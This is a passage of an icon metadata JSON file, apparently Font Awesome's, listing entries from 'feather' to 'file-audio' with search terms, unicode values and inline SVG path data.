  },
  "feather": {
    "aliases": {
      "unicodes": {
        "composite": ["1fab6"],
        "secondary": ["10f52d"]
      }
    },
    "changes": ["5.0.13", "5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bird",
        "feather",
        "flight",
        "light",
        "plucked",
        "plumage",
        "quill",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52d",
    "label": "Feather",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57-57h68c49.7 0 97.9-14.4 139-41c11.1-7.2 5.5-23-7.8-23c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l81-24.3c2.5-.8 4.8-2.1 6.7-4l22.4-22.4c10.1-10.1 2.9-27.3-11.3-27.3l-32.2 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l112-33.6c4-1.2 7.4-3.9 9.3-7.7C506.4 207.6 512 184.1 512 160c0-41-16.3-80.3-45.3-109.3l-5.5-5.5C432.3 16.3 393 0 352 0s-80.3 16.3-109.3 45.3L139 149C91 197 64 262.1 64 330v55.3L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57-57h68c49.7 0 97.9-14.4 139-41c11.1-7.2 5.5-23-7.8-23c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l81-24.3c2.5-.8 4.8-2.1 6.7-4l22.4-22.4c10.1-10.1 2.9-27.3-11.3-27.3l-32.2 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l112-33.6c4-1.2 7.4-3.9 9.3-7.7C506.4 207.6 512 184.1 512 160c0-41-16.3-80.3-45.3-109.3l-5.5-5.5C432.3 16.3 393 0 352 0s-80.3 16.3-109.3 45.3L139 149C91 197 64 262.1 64 330v55.3L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z"
      }
    },
    "free": ["solid"]
  },
  "feather-pointed": {
    "aliases": {
      "names": ["feather-alt"],
      "unicodes": {
        "secondary": ["10f56b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bird", "light", "plucked", "quill", "write"]
    },
    "styles": ["solid"],
    "unicode": "f56b",
    "label": "Feather Pointed",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l74.8-74.8c7.4 4.6 15.3 8.2 23.8 10.5C200.3 452.8 270 454.5 338 409.4c12.2-8.1 5.8-25.4-8.8-25.4l-16.1 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l97.7-29.3c3.4-1 6.4-3.1 8.4-6.1c4.4-6.4 8.6-12.9 12.6-19.6c6.2-10.3-1.5-23-13.5-23l-38.6 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l80.9-24.3c4.6-1.4 8.4-4.8 10.2-9.3C494.5 163 507.8 86.1 511.9 36.8c.8-9.9-3-19.6-10-26.6s-16.7-10.8-26.6-10C391.5 7 228.5 40.5 137.4 131.6C57.3 211.7 56.7 302.3 71.3 356.4c2.1 7.9 12 9.6 17.8 3.8L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.5 215.6L23 471c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l74.8-74.8c7.4 4.6 15.3 8.2 23.8 10.5C200.3 452.8 270 454.5 338 409.4c12.2-8.1 5.8-25.4-8.8-25.4l-16.1 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l97.7-29.3c3.4-1 6.4-3.1 8.4-6.1c4.4-6.4 8.6-12.9 12.6-19.6c6.2-10.3-1.5-23-13.5-23l-38.6 0c-5.1 0-9.2-4.1-9.2-9.2c0-4.1 2.7-7.6 6.5-8.8l80.9-24.3c4.6-1.4 8.4-4.8 10.2-9.3C494.5 163 507.8 86.1 511.9 36.8c.8-9.9-3-19.6-10-26.6s-16.7-10.8-26.6-10C391.5 7 228.5 40.5 137.4 131.6C57.3 211.7 56.7 302.3 71.3 356.4c2.1 7.9 12 9.6 17.8 3.8L253.6 195.8c6.2-6.2 16.4-6.2 22.6 0c5.4 5.4 6.1 13.6 2.2 19.8z"
      }
    },
    "free": ["solid"]
  },
  "fedex": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["Federal Express", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f797",
    "label": "FedEx",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"
      }
    },
    "free": ["brands"]
  },
  "fedora": {
    "changes": ["5.6.0", "5.6.3", "5.8.0", "6.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f798",
    "label": "Fedora",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.0413 255.8C.1219 132.2 100.3 32 224 32C347.7 32 448 132.3 448 256C448 379.7 347.8 479.9 224.1 480H50.93C22.84 480 .0832 457.3 .0416 429.2H0V255.8H.0413zM342.6 192.7C342.6 153 307 124.2 269.4 124.2C234.5 124.2 203.6 150.5 199.3 184.1C199.1 187.9 198.9 189.1 198.9 192.6C198.8 213.7 198.9 235.4 198.1 257C199 283.1 199.1 309.1 198.1 333.6C198.1 360.7 178.7 379.1 153.4 379.1C128.1 379.1 107.6 358.9 107.6 333.6C108.1 305.9 130.2 288.3 156.1 287.5H156.3L182.6 287.3V250L156.3 250.2C109.2 249.8 71.72 286.7 70.36 333.6C70.36 379.2 107.9 416.5 153.4 416.5C196.4 416.5 232.1 382.9 236 340.9L236.2 287.4L268.8 287.1C294.1 287.3 293.8 249.3 268.6 249.8L236.2 250.1C236.2 243.7 236.3 237.3 236.3 230.9C236.4 218.2 236.4 205.5 236.2 192.7C236.3 176.2 252 161.5 269.4 161.5C286.9 161.5 305.3 170.2 305.3 192.7C305.3 195.9 305.2 197.8 305 199C303.1 209.5 310.2 219.4 320.7 220.9C331.3 222.4 340.9 214.8 341.9 204.3C342.5 200.1 342.6 196.4 342.6 192.7H342.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M.0413 255.8C.1219 132.2 100.3 32 224 32C347.7 32 448 132.3 448 256C448 379.7 347.8 479.9 224.1 480H50.93C22.84 480 .0832 457.3 .0416 429.2H0V255.8H.0413zM342.6 192.7C342.6 153 307 124.2 269.4 124.2C234.5 124.2 203.6 150.5 199.3 184.1C199.1 187.9 198.9 189.1 198.9 192.6C198.8 213.7 198.9 235.4 198.1 257C199 283.1 199.1 309.1 198.1 333.6C198.1 360.7 178.7 379.1 153.4 379.1C128.1 379.1 107.6 358.9 107.6 333.6C108.1 305.9 130.2 288.3 156.1 287.5H156.3L182.6 287.3V250L156.3 250.2C109.2 249.8 71.72 286.7 70.36 333.6C70.36 379.2 107.9 416.5 153.4 416.5C196.4 416.5 232.1 382.9 236 340.9L236.2 287.4L268.8 287.1C294.1 287.3 293.8 249.3 268.6 249.8L236.2 250.1C236.2 243.7 236.3 237.3 236.3 230.9C236.4 218.2 236.4 205.5 236.2 192.7C236.3 176.2 252 161.5 269.4 161.5C286.9 161.5 305.3 170.2 305.3 192.7C305.3 195.9 305.2 197.8 305 199C303.1 209.5 310.2 219.4 320.7 220.9C331.3 222.4 340.9 214.8 341.9 204.3C342.5 200.1 342.6 196.4 342.6 192.7H342.6z"
      }
    },
    "free": ["brands"]
  },
  "ferry": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barge", "boat", "carry", "ferryboat", "ship"]
    },
    "styles": ["solid"],
    "unicode": "e4ea",
    "label": "Ferry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 0H352c17.7 0 32 14.3 32 32h75.1c20.6 0 31.6 24.3 18.1 39.8L456 96H120L98.8 71.8C85.3 56.3 96.3 32 116.9 32H192c0-17.7 14.3-32 32-32zM96 128H480c17.7 0 32 14.3 32 32V283.5c0 13.3-4.2 26.3-11.9 37.2l-51.4 71.9c-1.9 1.1-3.7 2.2-5.5 3.5c-15.5 10.7-34 18-51 19.9H375.6c-17.1-1.8-35-9-50.8-19.9c-22.1-15.5-51.6-15.5-73.7 0c-14.8 10.2-32.5 18-50.6 19.9H183.9c-17-1.8-35.6-9.2-51-19.9c-1.8-1.3-3.7-2.4-5.6-3.5L75.9 320.7C68.2 309.8 64 296.8 64 283.5V160c0-17.7 14.3-32 32-32zm32 64v96H448V192H128zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.3-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 0H352c17.7 0 32 14.3 32 32h75.1c20.6 0 31.6 24.3 18.1 39.8L456 96H120L98.8 71.8C85.3 56.3 96.3 32 116.9 32H192c0-17.7 14.3-32 32-32zM96 128H480c17.7 0 32 14.3 32 32V283.5c0 13.3-4.2 26.3-11.9 37.2l-51.4 71.9c-1.9 1.1-3.7 2.2-5.5 3.5c-15.5 10.7-34 18-51 19.9H375.6c-17.1-1.8-35-9-50.8-19.9c-22.1-15.5-51.6-15.5-73.7 0c-14.8 10.2-32.5 18-50.6 19.9H183.9c-17-1.8-35.6-9.2-51-19.9c-1.8-1.3-3.7-2.4-5.6-3.5L75.9 320.7C68.2 309.8 64 296.8 64 283.5V160c0-17.7 14.3-32 32-32zm32 64v96H448V192H128zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.3-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "figma": {
    "changes": ["5.6.0", "5.7.0", "5.8.0", "5.15.4", "6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f799",
    "label": "Figma",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"
      }
    },
    "free": ["brands"]
  },
  "file": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c4", "1f5cb", "f016"],
        "secondary": ["10f15b"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Empty Document",
        "document",
        "new",
        "page",
        "page facing up",
        "pdf",
        "resume"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f15b",
    "label": "File",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-arrow-down": {
    "aliases": {
      "names": ["file-download"],
      "unicodes": {
        "secondary": ["10f56d"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "export", "save"]
    },
    "styles": ["solid"],
    "unicode": "f56d",
    "label": "File Arrow Down",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 232V334.1l31-31c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-72 72c-9.4 9.4-24.6 9.4-33.9 0l-72-72c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l31 31V232c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 232V334.1l31-31c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-72 72c-9.4 9.4-24.6 9.4-33.9 0l-72-72c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l31 31V232c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "file-arrow-up": {
    "aliases": {
      "names": ["file-upload"],
      "unicodes": {
        "secondary": ["10f574"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "import", "page", "save"]
    },
    "styles": ["solid"],
    "unicode": "f574",
    "label": "File Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 408c0 13.3-10.7 24-24 24s-24-10.7-24-24V305.9l-31 31c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l72-72c9.4-9.4 24.6-9.4 33.9 0l72 72c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-31-31V408z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM216 408c0 13.3-10.7 24-24 24s-24-10.7-24-24V305.9l-31 31c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l72-72c9.4-9.4 24.6-9.4 33.9 0l72 72c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-31-31V408z"
      }
    },
    "free": ["solid"]
  },
  "file-audio": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c7"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "mp3", "music", "page", "play", "sound"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c7",
    "label": "File Audio",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zm2 226.3c37.1 22.4 62 63.1 62 109.7s-24.9 87.3-62 109.7c-7.6 4.6-17.4 2.1-22-5.4s-2.1-17.4 5.4-22C269.4 401.5 288 370.9 288 336s-18.6-65.5-46.5-82.3c-7.6-4.6-10-14.4-5.4-22s14.4-10 22-5.4zm-91.9 30.9c6 2.5 9.9 8.3 9.9 14.8V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L113.4 376H80c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h33.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5zm51 34.9c6.6-5.9 16.7-5.3 22.6 1.3C249.8 304.6 256 319.6 256 336s-6.2 31.4-16.3 42.7c-5.9 6.6-16 7.1-22.6 1.3s-7.1-16-1.3-22.6c5.1-5.7 8.1-13.1 8.1-21.3s-3.1-15.7-8.1-21.3c-5.9-6.6-5.3-16.7 1.3-22.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zm2 226.3c37.1 22.4 62 63.1 62 109.7s-24.9 87.3-62 109.7c-7.6 4.6-17.4 2.1-22-5.4s-2.1-17.4 5.4-22C269.4 401.5 288 370.9 288 336s-18.6-65.5-46.5-82.3c-7.6-4.6-10-14.4-5.4-22s14.4-10 22-5.4zm-91.9 30.9c6 2.5 9.9 8.3 9.9 14.8V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L113.4 376H80c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h33.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5zm51 34.9c6.6-5.9 16.7-5.3 22.6 1.3C249.8 304.6 256 319.6 256 336s-6.2 31.4-16.3 42.7c-5.9 6.6-16 7.1-22.6 1.3s-7.1-16-1.3-22.6c5.1-5.7 8.1-13.1 8.1-21.3s-3.1-15.7-8.1-21.3c-5.9-6.6-5.3-16.7 1.3-22.6z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464H320c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM192 272V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L129.4 376H112c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h17.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5s9.9 8.3 9.9 14.8zm85.8-4c11.6 20 18.2 43.3 18.2 68s-6.6 48-18.2 68c-6.6 11.5-21.3 15.4-32.8 8.8s-15.4-21.3-8.8-32.8c7.5-12.9 11.8-27.9 11.8-44s-4.3-31.1-11.8-44c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464H320c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM192 272V400c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5L129.4 376H112c-8.8 0-16-7.2-16-16V312c0-8.8 7.2-16 16-16h17.4l35.3-35.3c4.6-4.6 11.5-5.9 17.4-3.5s9.9 8.3 9.9 14.8zm85.8-4c11.6 20 18.2 43.3 18.2 68s-6.6 48-18.2 68c-6.6 11.5-21.3 15.4-32.8 8.8s-15.4-21.3-8.8-32.8c7.5-12.9 11.8-27.9 11.8-44s-4.3-31.1-11.8-44c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-circle-check": {
    "changes": ["6.0.0", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
